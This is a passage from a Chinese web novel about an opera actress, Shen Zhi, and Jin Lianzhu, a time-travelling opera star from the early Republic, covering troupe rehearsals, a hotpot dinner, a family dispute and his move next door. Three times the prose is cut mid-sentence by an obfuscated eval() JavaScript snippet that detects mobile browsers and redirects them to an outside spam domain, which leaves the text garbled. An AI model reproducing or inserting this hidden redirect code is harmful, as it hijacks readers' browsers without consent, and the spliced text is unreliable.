靳连竹跟着她走,目光始终落在那被她拉过的布料上,那上面留下了她的香气,百合花一般淡淡的沁人心脾的香气,如影随形。 食堂是最好的认识同事的地方,环境轻松,人又全。 一顿午饭的时间,基本都认识了个遍。 “你在这边只是项目合作制,每天过来上午半天即可。”吃过饭,沈枝送他下楼,“下午和晚上的时间你可以继续你原先的工作。” 靳连竹点头,“工作辞掉了,我拜了老师,下午去老师家里学戏。” 还真是勤奋好学,一刻都不放松。 沈枝点头,心里盘算着如果这次合作得好倒是可以尝试深度合作,不过这事还早,要看他表现。 “其实我们戏剧团每年都有进新人的定制,你好好表现,或许可以有机会留下来。”沈枝鼓励他,“或许,你可以成立个人工作室,以工作室的名义跟戏剧团长期合作,那样也不错。” “好。”靳连竹笑着点头,没想到她为他考虑到了那么长远的事。 “那我们一起努力。”沈枝笑了,“哦,对了,你的老师是哪一位。” 这个圈子里有名有姓的老师她都认识,很好奇是哪位前辈这么有眼光,收了他当徒弟。 还没等靳连竹回答,沈枝的手机响了,是妈妈打来的:“周末回家一趟。” 电话里没细说是什么事,刚好沈枝也想搬些东西回公寓,就答应了。 再一抬头,靳连竹已经上车了,摇下玻璃他正微笑地看着她,“明天见,枝枝老师。” “明天见。”沈枝又笑了。 车子远去,沈枝转身回团里。 靳连竹回头看着她的身影消失在大门处,吩咐司机:“前面那辆车旁边停一下。” 车子停下,他付了车钱下车,随后坐进迈巴赫里,启动…… * 靳连竹的融入速度比沈枝预想的还要快,跟他单独相处的时候沈枝觉得他过于沉默羞涩,谁知这人情商极高,才两天就把整组的同事都熟悉了,大家叫他“小靳”“连竹”,他也“张哥”“李姐”“王老师”地叫,俨然相处多年的老同事。 而且有他的加盟,排练整体速度大幅提升,剧本围读只用了三天的时间就顺利进入走位排练,沈枝很高兴,把之前落下的进度都赶了上来。 休息的间隙,他还会跟同事们一起谈天说笑,或讨论一些技巧,对于大家的问题他也会十分耐心地解答,有时候还会把自己的技巧手把手地教学示范,也会跟同事们取经,偶尔过来跟沈枝说两句话,问问她累不累,配合还有哪些要注意的地方。 靳连竹很自然很融洽地融入了这个大家庭,并且帮助沈枝修正剧本,跟她搭戏,帮同事走戏题词,算是帮了沈枝大忙了。 一切进展顺利,大家都有一种松了一口气的感觉,中午决定一起去常去的那家餐厅聚餐,靳连竹不但记住了每个人爱吃的菜,还贴心地帮大家点了爱喝的奶茶。 “小靳真是太贴心了。”李姐打趣他,“南方的小伙子就是温柔细腻得多,小靳有女朋友的吧。” 随着这句话大家的目光都看向靳连竹,沈枝也好奇,她俩现在的关系已经超越了最初的客套生疏,融洽到可以穿着睡衣拖鞋去吃烧烤的地步。 靳连竹正在帮大家烫洗餐具,淡淡一笑把手里刚洗好的一套餐具递给沈枝,“枝枝。” 而后才慢慢地摇了摇头。 知道的是他在递餐具,不知道的还以为他在回答李姐的问题呢。 “哟,那你喜欢什么样的,李姐帮你介绍吧。”李姐是个热心肠,尤其是到了热衷于帮人找工作找对象的年纪,一下子来了精神,“你在京市有房子吗,是想找本地的还是找外地的,长相个头工作有什么要求。” 服务员来上菜,大家帮忙摆菜挪餐具,一时间闹哄哄的,靳连竹没有搭话,等安静下来才说:“人家未必看得上我呢。” 这话,说得好像已经有目标了似的。 沈枝没太多留意,注意力全在菜上了,这家老板换了厨子,听说是五星级退下来的老人,手艺非常棒。 大家的话题很快从靳连竹找女朋友转到了年底评先进上,讨论围绕着团里的大事小情展开,沈枝时不时插句嘴大多时候是在听前辈们聊,身旁的靳连竹默默吃饭,一会儿帮她盛汤一会儿帮同事们倒饮料,十分周到体贴。 周五的时光总是让人觉得轻松愉快充满了期盼,上午排练十分顺利,以至于下午大家都没什么事,一个个坐在位子上或处理公务或整理台词资料,或写周报,还有人摸鱼。 沈枝把上午查出来的错漏又改了一遍,看了眼时间,还有半个多小时下班,伸了个懒腰加入了摸鱼的队伍中。 手机显示好多小红点,杨小咩提醒她周末戏剧班的聚会,还说有新朋友要介绍给她认识,沈枝失笑,不就是怕她不去吗,回复:别说新朋友了,冲着你新买的新裙子我也要去开开眼。 紧跟着又回复了几条信息,有物业发来的社区活动的,有妈妈发来的提醒她回家的,还有几个都是群里的消息。 其他的群可以不着急看,沈枝有一个戏剧爱好者联盟群,大约三年前建立的,她是群主,当时加了几个老同学老朋友进来聊一聊戏剧,后来人越来越多,沈枝很惊喜原来有那么多的人都喜爱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419432|184758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戏曲,所以这个群她一直经营得很用心。 沈枝点开查看群消息,三百多条,吓了一跳,这么多。 原来是沈枝之前答应大家寻找民国时期那些老戏曲大师们的唱段和影像的,时间久远找起来很不容易,但是经过一年多的努力沈枝还是都搜罗了出来,除了靳丛山。 白玉风:群主,祖师爷的唱段什么时候发出来啊。 红萝枝:是啊,都等一年了。 1844:这是群福利,群主不能食言啊。 小麒麟儿:你们别逼群主了,祖师爷的资料很难找,好像都损毁了。 …… 总算有人体谅她了,沈枝叹了口气,靳丛山的资料她几乎翻遍了图书馆、博物馆和各种网站,根本找不到,好像这个人从未存在过,但是仅留存下来的剪报和零星几张照片又彰显这个人的确存在过,并且是个传奇人物。 沈枝:对不住大家,我实在没有找到祖师爷的唱段,就只有那一张照片,还是偶然从别人那里拿到的。 她指的是文生发给她的那张民国元年的老照片,除了道歉她实在不知道该说什么。 唱戏的蛋挞:那怎么行呢,当时群主是跟咱们保证过的。 花草茶:可是群主尽力了啊。 风吹海面鱼虾乱窜:那当时就不该跟大家保证啊,咱们可都是祖师爷的粉丝啊,冲着这才进群的,而且参加群活动咱们都很积极…… 沈枝有一种无力感,当初的确是她保证的,可是她也没想到同一时期的人,为什么偏祖师爷的资料少得可怜。 道歉之后,沈枝有点委屈又有点无奈,心情一下子变得烦躁起来,于是关掉群聊,想要让自己平静一下。 倒了一杯咖啡坐下来,喝完,一共用了不到十分钟,沈枝还是忍不住又打开群聊。 才几分钟的工夫,画风突变,群里一时热闹的跪求。 沈枝往上翻看,原来是一个黑色方块的头像给大家发了一段靳丛山的唱段。 这一下炸了锅,大家纷纷求复制还有人求影像的,还说可以有偿、重金。 他怎么会有,沈枝觉得很奇怪,点开头像。 沈枝:靳连竹? 靳连竹:枝枝,你也要? 沈枝:疯狂点头表情包 沈枝:你怎么会有,在哪里找到的。 看着她发来的兴奋表情包,靳连竹敲下几个字:是我 沈枝:…… 沈枝虽然看过他的现场,可仍觉得难以置信。 沈枝:惊悚表情包 靳连竹紧张地望着屏幕上沈枝发来的表情,这是他穿越以来第一次如此直白地告诉她,看来还是把她吓到了。 靳连竹:一个很好的朋友给我的,他也是偶然间得到的。 沈枝点了点头。 沈枝:以后如果还有能不能给我发一份啊,靳老师。 沈枝:可爱表情包 所谓“我的一个朋友”,懂得都懂,靳连竹笑了一下,有些事不可操之过急。 靳连竹:必须滴。 * 戏剧班的聚会在周六的晚上。 沈枝刚到就被杨小咩一脸羞涩地拉着去见“新朋友”。 “师兄。”沈枝惊讶,“陈玉书怎么能算新朋友呢,这是老学长啊。” 杨小咩偷偷掐了一下她的胳膊肘,红着脸介绍:“这位是我的男朋友,玉书。” 陈玉书比沈枝和小咩大一届,是校学生会主席,平时对她们二人颇为照顾,彼此早就十分熟悉。 沈枝先是惊讶而后欣喜,点着杨小咩的脑袋怪她不早说。 三人聊了两句,沈枝不想做电灯泡耽误人家的二人世界,借口去吃点东西。 陈玉书却拦住她,“你稍等一下,我给你介绍一个朋友,他对新老技法融合非常有研究,一定能帮到你。” 说完四周看了看,冲着大门口一个高挑挺拔的身影挥挥手,“在这。” 5. 家人 高大挺拔的身影,亚麻质地白色衬衫,一头清爽利落的短发,肤色白得发亮,丹凤眼笑起来带着点玩世不恭的意思,他的唇色天生的发红,远远走来,整个宴会厅的灯光仿佛都照在他一个人身上,就是那种自带光环自带bgm的感觉。 “这位就是靳连竹。”陈玉书介绍,“是个隐藏款大佬,这位是……” “枝枝老师。”靳连竹伸出手顽皮地凹出东北腔,“缘分呐。” 沈枝失笑,还真是缘分。 由于闺蜜要谈恋爱,由于酒店的餐点实在不尽如人意,由于两个人都懒得应酬交际,而沈枝又十分想吃火锅,于是靳连竹在沈枝被一群师兄围在中间问长问短无法脱身的时候,强行把她解救出来,带着她冲进夜色里。 小火锅店不大,却十分有特色。店铺是国潮风设计,漆成大红色的桌椅,红色配金色的宫灯,木质廊柱和墙面、屋顶,到处充斥着脸谱、中国结、金龙等图案的点缀,再配上青花瓷器和绿植,一整个氛围感拉满。 安静地坐下看着面前热气腾腾的火锅,桌面上摆满了丰盛的菜碟,等着火锅开锅的过程是美好而煎熬的。 “也不知你爱吃什么,我就随便点了几样。”靳连竹帮沈枝拌了调味料,“这是我的拿手绝活,你尝尝。” 沈枝看着面前的菜盘子,再看看他拌的调料,“全是我爱吃的。” 她的笑颜在眼前绽放,双瞳明亮潋滟,粉唇上扬,露出一排整齐的贝齿,唇边两个浅浅的梨涡给无可挑剔的一张脸增加了几分灵动和活泼。 靳连竹有一瞬间出了神,很快就忙着帮她涮菜夹菜。 “群里的事,谢谢你啊。”沈枝举杯。 “能帮到你是我的荣幸。”靳连竹笑着举杯,在她杯子低处碰了一下,“也能帮到大家,一举两得。” “这么珍贵的资料真是难得。”沈枝看着他,“其实,我觉得你唱得就很像。” 她眨了眨眼,盯着他看的时候眼睛里的光带着一丝试探。 “一直以来都有人说我像他。”他慢慢地涮菜慢慢地语速,而后转头看向沈枝,“但还是有差别的,沈老师能听出来吗。” 沈枝吃得畅快,见他直接问过来,诧异地摇头,“没听出来,到底哪里有差别。” 她两颊泛起红晕,额角渗出薄汗,靳连竹拿过纸巾递给她,看到她手上沾了油,抬起手在她震惊和错愕的目光中,帮她擦汗。 “我不说,你自己去听。”他卖了个关子。 柔软温热的指尖偶然触碰到皮肤,软软的香香的,跟梦里想象的一样。 “我自己来。”沈枝想要接过纸巾盒,却被靳连竹躲过了。 纸巾在即将碰到她皮肤的一刹那掉了,他温热柔软的指腹触碰到沈枝的皮肤,一触即离。 话题转换很快,天南地北聊得很尽兴,靳连竹背到身后的手指搓了又搓,仿佛在回味方才那转瞬即逝的柔软和香气。 沈枝说起单位里有趣好笑的事,靳连竹问她,“听说你去年沪市那场演出十分精彩,谢团给你申报了白玉兰奖。” “都是大家捧场。”沈枝有些不好意思,“我喜欢戏曲,喜欢塑造一个又一个角色,每一次沉浸在角色里都让我觉得很幸福,至于拿不拿奖,我并不在意。” 靳连竹若有所思地点了点头,“枝枝在意的是作品,但是我觉得拿奖你也应该在意啊,正如你自己的愿望,希望更多的年轻人喜欢国粹加入到戏曲的行业,那就应该给他们看到希望和美好,美好的作品,美好的榜样,枝枝老师就可以成为他们的榜样,成为他们的偶像,肯定会带动更多的人加入到这个行业的。” “这个时代流量为王,想要弘扬戏曲也要抢夺流量。”他说:“我们做的事传统,方法可以很现代,就像你的新老技法融合一样,相得益彰就是好的。” 沈枝挑眉看他,这话有意思。 她从前没考虑过这么细,只知道一猛子扎进去拼命练功,现在的确要好好想一想了。 靳连竹笑着给她夹菜,“这一行很苦,你我身处其中才明白不容易,也更懂得它的魅力所在,不是发自内心的热爱是坚持不下去的,枝枝老师,加油啊。” 他举杯看她,沈枝回了一个大大的笑,“一起加油,谢谢你的建议,我会认真考虑的。” 吃火锅的乐趣不仅仅在于味道和氛围,还在于能吃到一起的两个人互相交流新的吃法、搭配和蘸料,然后彼此尝试,获得新的美味体验,那叫一个美哉,妙哉。 沈枝调了网上新学来的蘸料,搭配各种肉和蔬菜,兑上浓汤做成了一碗浓郁鲜香内容丰富的汤。 “尝尝看。”她递过去。 靳连竹忙双手接过,碗底很烫,他的手指自然地触碰到了她手背细滑的皮肤,从指尖酥麻到全身。 味道的确很好,是他喜欢的,靳连竹一口气喝了个精光。 沈枝颇有几分得意,“说说你吧,其实你也可以自己成立工作室,以你的能力跟各大剧团合作没问题的。” 她又开始做第二碗,“其实你是个有才华的,可是我觉得你未必喜欢像我们这种坐班制的工作,你会觉得无聊,成立工作室很适合你。” 靳连竹接过她手里的碗和汤勺,“我来,你吃你的。” “成立工作室后这些事情就会有专人替你打理张罗,你也不用分心,合作起来更加顺畅。” 这种个人工作室的方式现在非常流行,沈枝提了个建议。 “你希望我做工作室吗。”靳连竹问。 沈枝点头,“对你好,我觉得不错。” 随口一个提议,没想到他笑道:“好,你觉得好就一定好,我听你的。” 沈枝笑道:“以你的唱功和身法,恐怕练功的强度比我强很多。” “都习惯了。”他说,“只有做到极致才能成角儿。那个时候,就是这样的。” 他声音不大,却恍惚间有一种隔世的遥远。 “什么时候。”沈枝不明所以,一边吃一边随口一问。 “民国元年。” 淡淡的声音被人来人往的热闹冲散了,恍惚间,沈枝觉得自己听错了。 回过神来,靳连竹正在帮她把饮料杯子里的冰块小心地舀出来,仿佛刚才他并没有说话。 “天气还凉,少吃些冰。”他笑得温柔,眼睛里都是笑意,“对嗓子也不好。” 沈枝笑着道谢,觉得大概自己是吃醉了。 这一晚沈枝睡得很好,一觉睡到了第二天中午。 手机里有几条妈妈催促她回家的信息,沈枝起床洗漱,拿出那个准备好的礼物,带着昨晚上的美好心情回家了。 沈枝的家坐落在城南,这里都是独门独栋的别墅,私密性好,邻居要么是文艺界的前辈和领军人物,要么是高校退休的老师,还有一些退居二线的老干部,但是彼此间不怎么联络,见了面顶多打个招呼聊聊天气花草而已,大家都十分遵从边界感。 不甚奢华却古朴自然的中式建筑,一步一景,各处都修正养护得精致有型。 可沈枝并不喜欢这样刻意的美,失了纯粹的大自然的味道。 没有野趣等于无趣。 进了门有点意外,客厅地板上乱七八糟摆了一地的摄影器材、反光板和大大小小的箱子,还有各种海报和背景板,沈枝这才知道原来今天是祖父收徒的日子。 什么人,这么大能耐,竟然能打动早已退居二线的爷爷的心。 沈枝往客厅的里间看了一眼,那里正在开记者招待会,挤了满满当当的人,还有闪光灯在噼里啪啦地闪着,爷爷正在讲话,旁白坐着她的爸爸妈妈和姐姐。 又是这样,妈妈电话里什么都没告诉她,没说爷爷收徒,没说家里会来记者,连时间都没说,更不会准备她的座位。 好像她从来都不该出现在公众场合,不配成为这个家里的成员。 再看看她带来的礼物,沈枝叹了口气,幸好她有经验。 说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419433|184758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不难过是假的,从小到大沈枝就像被家人抛弃一样,不被重视没有关心,只有对她的要求,不许给家族抹黑,不许丢脸,做任何事情都要考虑家族考虑父母长辈,考虑姐姐。 她是不爱出风头不爱凑热闹,可是她们却把她的淡然当成蠢笨,从来不会考虑她的感受。 可能真的是自己的性格不讨喜吧,沈枝仰头看向天花板,强忍着不让委屈的泪水流下来。 既然她们不想让她凑这份热闹,沈枝打算悄悄溜回自己房间收拾下要带回公寓的东西。 她的房间在二楼最东头,平时没什么事除了打扫的阿姨没人会来。 可是此刻沈枝站在门口,看着门口深棕色的地毯上掉落的白色粉末,呆住了。 蹲下身轻轻用手指蹭了蹭,粘在手指上了,是新掉落的。 又凑近鼻子闻了闻,是粉。 这种香气这种细腻程度的粉是用来旦角上妆的,可是家里除了她没人唱旦角儿。 母亲年纪大了早就不唱戏了,祖父和父亲也是武生更擅长,姐姐沈青,沈枝想了想,大约从十六岁之后就没再见她扮上过,更别提唱戏了。 那,会是谁呢。 带着妆进了她的房间。 还是在她不在家的时候。 瞧着楼下来了这么多外人,沈枝不打算张扬,轻轻拧开了门把手。 一道阳光洒下,眼前一片明亮。 沈枝想起来了,两周前妈妈给她打电话说过,家里房子要修缮,把所有人的卧室都挪到楼下去了。 沈枝家的这套宅子是祖上留下的产业,但因年久失修总存在一些隐患和不便,政府为了保护古迹,每年都会找专人过来设计维护,在不破坏整体建筑的条件下尽可能让他们住得舒服一些。 所以,现在这里是杂货间。 刚想关门退出来,沈枝就看到了让她终生难忘的一幕。 明黄色女蟒,上绣凤凰、牡丹图案,圆领大襟宽袖,宝蓝色缀满亮片的鱼鳞甲,外披一件明黄色绣凤斗篷,头戴如意冠,脚蹬彩鞋,腰佩鸳鸯剑…… “虞姬。” 沈枝下意识叫出口,那人回头。 阳光从他身后的窗户照到他身上,一双丹凤眼眼尾上翘,目光炯炯,妆容只上了底色,眉目清秀五官精致,尤其那一双深邃幽黑的双眸,闪着孤独傲视的冷光。 “靳……” 眼前人的脸和那张老照片重合了,一时间恍惚,沈枝不知该叫什么。 “枝枝。” 温柔缱绻的嗓音,唤出了珍视和宠溺,很特别。 “爷爷收的关门弟子是你。”沈枝又惊又喜又觉得难以置信。 最近她的生活里充斥着靳连竹的身影,工作单位、社交圈,现在连她家里也是。 “你是沈老师的孙女?”显然靳连竹也觉得惊喜,“老师要看我扮相,说这里暂时存放杂物,让我在这里换衣服。” “那可真是太巧了。”沈枝笑了笑,“那你继续换装吧,我不打扰了。” “听老师说……” 在她转身想走的时候,靳连竹小心翼翼地开口,“你旦角妆面做得极好,能否请你帮我。” 他眼中满是赤诚和恳求,还带着水光和三分羞怯,右手揽袖左手兰花指递上朱笔,每一分表情,每一个动作仿佛书中人物跃然尘世。 前一秒他是靳连竹,此刻他就是虞姬。 沈枝看愣了,他是个戏痴,是个天才。 对这种人是需要更多的敬重和理解的,沈枝敛神,莲步轻移,用戏中小丫鬟细碎的步伐走近他,屈膝行了个蹲礼,“奴婢从命。” 戏里戏外她都懂他。 沈枝上前搀扶“虞姬”在妆奁前坐下,手上动作极稳,打底色、拍红、定妆、画眉画眼…… 她做得全神贯注,大家都知道沈枝出身戏剧世家,从小极有天赋却没人知道她在戏剧妆容方面也是一绝。 可是,祖父怎么知道她擅妆这事…… 6. 偏心 楼下变得热闹起来,沈枝看了一眼,“记者走了,我先下去了。” 靳连竹点了点头,目送她离去。 “可算把你盼来了。”母亲打量着两周未见的小女儿,“都忙瘦了,没好好吃饭吧。” 合身的旗袍配上颗颗饱满粒粒浑圆的珍珠项链,精致完美的妆容,薄薄的羊绒披肩,她的母亲看上去温柔和蔼又充满了书卷气息。 沈枝的母亲姓马,全名马岚,成长在一个非常普通的工人家庭,但是她自小喜爱戏剧,考上了戏剧学院后因聪慧好学被沈枝的祖父看好,私下里教了她不少技法,后来因为常出入沈家同沈枝的爸爸喜结连理。 马岚在沈家是沈夫人的位置,可因出身的原因,沈枝总觉得母亲的配得感非常低,事事以祖父父亲的意见为准,从不发表自己的看法,行为举止皆要看公爹和丈夫的脸色行事。 就像沈枝姐妹俩的矛盾,因为父亲偏向姐姐,母亲也渐渐没了立场开始偏向姐姐,可毕竟沈枝也是她的女儿,所以每次跟枝枝联系她都是私下里问小女儿需要什么还缺什么,然后悄悄拿出自己的私房钱给沈枝补上。 面上却依旧做得父亲期望看到的样子,偏袒大女儿忽视小女儿。 很分裂,很拧巴。 “哟,真神终于现身了。” 沈青,沈家第五代最被看好的接班人,从小就聪明嘴甜,六岁起崭露头角,在各大赛事和演出上频频亮相,小小年纪就名声在外,给沈家赚足了眼球和面子。 是父母眼中的完美女儿。 她今天穿了一身香奈儿的套装裙,精致但不合适。 对于沈青的阴阳,沈枝没有理会。 从小到大都是这样,沈青自诩是姐姐且凡事都比沈枝做得好,总喜欢在她面前耀武扬威地说教,指导她,嫌弃她笨,嫌弃她不上进不努力,嫌弃她懒什么都不学。 可是该学的沈枝都学了啊,不仅学了还比她更努力。沈青她自己喜欢假努力干嘛非要踩别人一脚。 “枝枝来了。”祖父冲她招手,“过来坐。” 沈枝的祖父沈新华是个白白胖胖整天乐呵呵的老头儿,长得慈眉善目,年轻时也是俊逸潇洒,现在虽然年纪大了依稀可辨眉眼间的英姿。 沈枝的父亲沈丛艺跟在老父亲身边,父子两个相貌相似身上的气质却截然不同,大约是长久浸染在墨香戏曲之中,沈新华的身上自带一种松弛自得的气韵,而从商的沈丛艺则显得更严肃紧绷。 “祖父收徒这么大的事你也能迟到,真是没规矩。”沈丛艺责备沈枝,脸色非常不好看。 沈枝看向母亲,马岚尴尬地冲她偷偷摆手,沈枝明白了,又是姐姐故意不让妈妈告诉她的。 每次都是这样,耍这种小心机让她难堪。 按照往常,沈枝懒得计较,也并不在乎长辈们对她的训斥,反正无论她做什么都会拿来跟姐姐比较,都会被误会被训斥,沈枝也并不往心里去,别人的指责她慢慢回应,不急不躁也不生气。 但是今天不知怎么了,她就是不想憋着了。 “妈,爷爷收徒这么大的事您电话里怎么也不说清楚。”沈枝的声音仍旧轻轻柔柔慢条斯理的,“害我没能及时参加,好遗憾。” “我……” 就在马岚还想推脱的时候,沈青抢先一步指责她,“你怎么能怪妈妈呢,谁叫你整天不回家,你看看你一个女孩子都多久没回家住了,传出去真是败坏咱们家门风。” “你姐姐说得没错。”沈丛艺更是严厉批评沈枝,“从小你就不如你姐姐,还偏偏最不听话,到现在一事无成却养成了一身的臭毛病,一点世家风范都没有,你真该好好跟你姐姐学学。” 一个欲加之罪胡搅蛮缠,一个偏心偏私刻薄冷漠。 沈枝觉得很委屈,从小到大爸爸都喜欢姐姐多过她,小小的她那时候还曾经努力模仿姐姐,想要讨父亲的欢心,可是都失败了,后来她才明白,无论她怎么学都不是姐姐,哪怕做得跟姐姐一模一样,也只会姐姐被夸赞而她却要被无端挑剔指责。 一个人不喜欢你的时候,讨好只能自己变得卑微,而对方会更加讨厌你。 小小的她自从明白了这个道理就开始了“摆烂”,再不跟姐姐比较,再不怕被长辈们批评,反正又不掉一块肉,她可以自己抚平心中的伤口然后默默地做自己喜欢的事。 有时候,不被关注是一种自由。 眼泪憋在眼眶里,沈枝微微仰起头,看到了正走下来的靳连竹。 被他看到自己的狼狈窘迫,沈枝竟然没有一丝的尴尬。 她冲他笑了笑,对方回应了她一个更温暖灿烂的笑容。 “老师,那个盒子好像是方老先生的。” 靳连竹的话提醒了沈枝也恰如其分地打破了僵局,她深吸了一口气笑呵呵地拿出带来的盒子。 “这是我帮爷爷准备的礼物。”她把精美的紫檀木盒放在祖父面前的茶几上,“这髯口是我去年出国交流演出,对方回赠的礼物之一,是方老先生的作品。” 方老先生是这个行当里的大师,他做出来的道具髯口戏服都是有极高收藏价值的,而且老先生早年就旅居国外,能得到一件亲手之作实属难得。 介绍完还不忘撒娇,“爷爷,我觉得这个髯口只能配得上您。” 沈枝打开木盒,一套十分精美的髯口让所有人眼前一亮,“就当是孙女送给爷爷的贺礼,恭喜爷爷收获高徒。” 沈新华自然识货,一眼就看出东西属珍品,高兴得合不拢嘴,对贺礼爱不释手,拉着沈枝问个中细节,再没理会其他人一个字。 任由得姐姐在一旁瞪眼撅嘴,沈枝只围着祖父转悠,看都没看她一眼。 沈青在一旁看得不满,憋了好一会儿才阴阳怪气地开口,“爷爷您别被她哄骗了,这丫头玩疯了,现在张口闭口要搬出去,让人知道了就是在给您老人家抹黑。” 沈青拿出大姐的做派旧事重提,“不是姐姐说你,趁着亲人都在,留在家里好好尽孝才是晚辈应该做的,你怎么能为了自己舒服就让家人为你担心呢。” 好想上去撕烂她那张嘴。 沈青拱火,父亲沈丛艺的脸拉得更长了,刚才被无视的愤怒顷刻间找到了宣泄的出口。 “枝枝,你姐姐说得对,你是家里最小的,却也不能不尽责任,出去住是不可能的,你尽快把房子处理掉。” 沈青,一个一天班都没上过的人,也早就已经不唱戏了,满眼盯着祖父的绝学和父亲的生意,生怕被她这个妹妹抢了去,她的人生只剩下“传人”二字。 父女俩一唱一和地抱怨,沈枝觉得跟他们说不明白,那种说不清道不明的无力感让她觉得委屈,只能继续装傻。 “你这孩子,你爸爸也是为你好。”马岚开口打圆场,“今天下午就搬回来,妈妈想你呢。” 一家人联合起来攻击她,沈枝气笑了,弯弯的眉眼看着家人,心里却觉得很悲凉。 “我不同意,不会搬回来。”她语速很慢, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419434|184758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音轻轻的,气息很稳,看上去好似完全不生气。 “咱们家祖上就是穷苦出身,一代一代都是靠着勤奋拼搏才有了今天。”柔柔的声音回荡在客厅里,却显得极有力量,“爷爷年轻的时候也是吃了很多苦,没靠家世靠自己,一路从南到北闯荡而来,怎么,到了我们这一代就要留在家里靠祖宗保佑了吗。” “爸爸,您从小到大都没有离开过爷爷的照顾,可是我不想给你们添麻烦,我可以自己闯出个名堂,像爷爷一样,给祖宗增光给沈家添彩,而不是像某些人坐等继承。” 轻轻柔柔的嗓音说出来重重打脸的话,沈丛艺铁青着脸一个字都说不出口,沈青气红了脸看着母亲求助,马岚一副老好人的模样忙着给每个人倒茶。 沈枝拒绝了母亲,捂住茶杯也不看她,气氛一时闹得很僵。 过了一会儿,就当沈丛艺还想再教训女儿的时候,沈新华才缓缓开口,“我倒觉得枝枝说得没错,以后孩子的事情你们还是少管,让她们自由发展吧。” 爷爷的助力给了沈枝莫大的支持,但也让她觉得很诧异。 沈新华笑眯眯地看着她,“但是其他的事你还是要听你爸爸妈妈和姐姐的话,不可以任性妄为哦。” 沈新华声音很沉,沈枝听得明白,这是在敲打她。 “好。”沈枝无奈,长辈们的偏心实在太明显了。 话题很快就从令人不愉快的沈枝身上转移到了今年白玉兰奖的评选上,沈青自然是报过名的,这些年她以父亲演出公司的名义到各地演出,也积累了一些成绩,只不过在沈枝看来,沈青始终躺在自己的舒适区,这么多年唱来唱去就那几个。 爸爸妈妈都在询问沈青觉得怎么样,沈青一副胜券在握的样子,骄傲得很,“你们就放心吧,去年和大前年不都拿了奖回来了吗。” “是啊,尽人事听天命,奖项的事不用强求。”沈新华看着沈青,笑道:“不过,你今年如果还能搬回个奖,爷爷送你个礼物。” “真的吗,那先谢谢爷爷咯,您的礼物可以开始准备了。”幸福的公主自信满满。 那是属于他们一家的幸福,沈枝像是个被隔绝在外的外人,没有人关心她是不是也报名了,甚至,他们都不希望她报名。 因为沈家参加的比赛只能赢不能输,而他们认定了她一定会是输的那一个。 沈枝觉得无趣,别过脸去看向窗外,阳光强烈得刺眼。 有了祖父的话,沈枝索性当日就把自己的东西全部拉走,靳连竹自告奋勇帮忙。 “听连竹说起在你们戏剧团合作国庆汇报演出。”沈新华看着沈枝,“你作为师姐好好带他,别给沈家丢脸。” 沈枝点头,祖父在意自己的口碑,更在意沈家的名声。 一旁,靳连竹把一切看在眼里,他默不作声的时候很没有存在感。 有了靳连竹的帮忙,沈枝索性多拿了一些大件的东西,一次性搬完省得还要再看一回脸色。 就在他们搬东西准备上车的时候,姐姐换了一身新款的大牌连衣裙出来,当着沈枝和靳连竹的面把家里的司机叫走了。 下午沈新华要出去,沈枝的爸爸也要回公司,家里两个司机都没空了。 沈枝干脆自己叫了辆车,靳连竹没让他沾一根手指头,一个人把所有东西搬上车后才坐到了副驾驶的位置。 后排的沈枝正在低头回复信息,就听靳连竹跟司机说:“景盛花园,六栋1602。” 她愕然。 7. 邻居 车子很快到家,为了表示感谢沈枝提出请靳连竹吃饭。 她委屈窘迫的时候,靳连竹给了她灿烂的笑容和支持的眼神,就冲这,她也应该感谢他,更何况人家还忙前忙后出体力。 “你回去还要收拾,看天气马上要下雨了,不如去我家里,我会做饭。”靳连竹提议。 沈枝觉得太麻烦了想要拒绝,就听他说:“我就住你对面,昨天听物业说起才知道是你,好巧。” 难怪刚才他都不问她一句就直接跟司机说出她家的门牌号,沈枝粲然一笑,“那好,今晚就麻烦邻居了。” 不,他喜欢被她麻烦。 靳连竹告诉沈枝这房子是两年前才买的,那时候沈枝已经装修准备入住了。 又是一个巧合。 两家的户型是一样的,但是乍一进来沈枝还是没认出来,因为他几乎将能打掉的墙面都打通了,格局大变视野非常开阔,尤其那落地飘窗,遥遥看出去,京市的繁华一览无余。 全屋中式风格,干净利落简洁大方,没有过多的装修,倒是在物件上很有看头。 沈枝被吸引了,名家字画、古董玉器,个个珍品……竟还有一整间屋子的戏剧史,像一座微型博物馆。 “这都是民国时期的东西吧。”沈枝对那一整间屋子的老戏服老道具十分感兴趣,“称得上戏剧博物馆了,这些东西你都是从哪里淘来的,是仿品还是真品。” 靳连竹一边煮茶一边漫不经心道:“不是仿品,都是些不值钱的玩意儿,舍不得扔掉就都带来了。” 不值钱?沈枝在心里默默摇头,“这可太珍贵了好吗。” 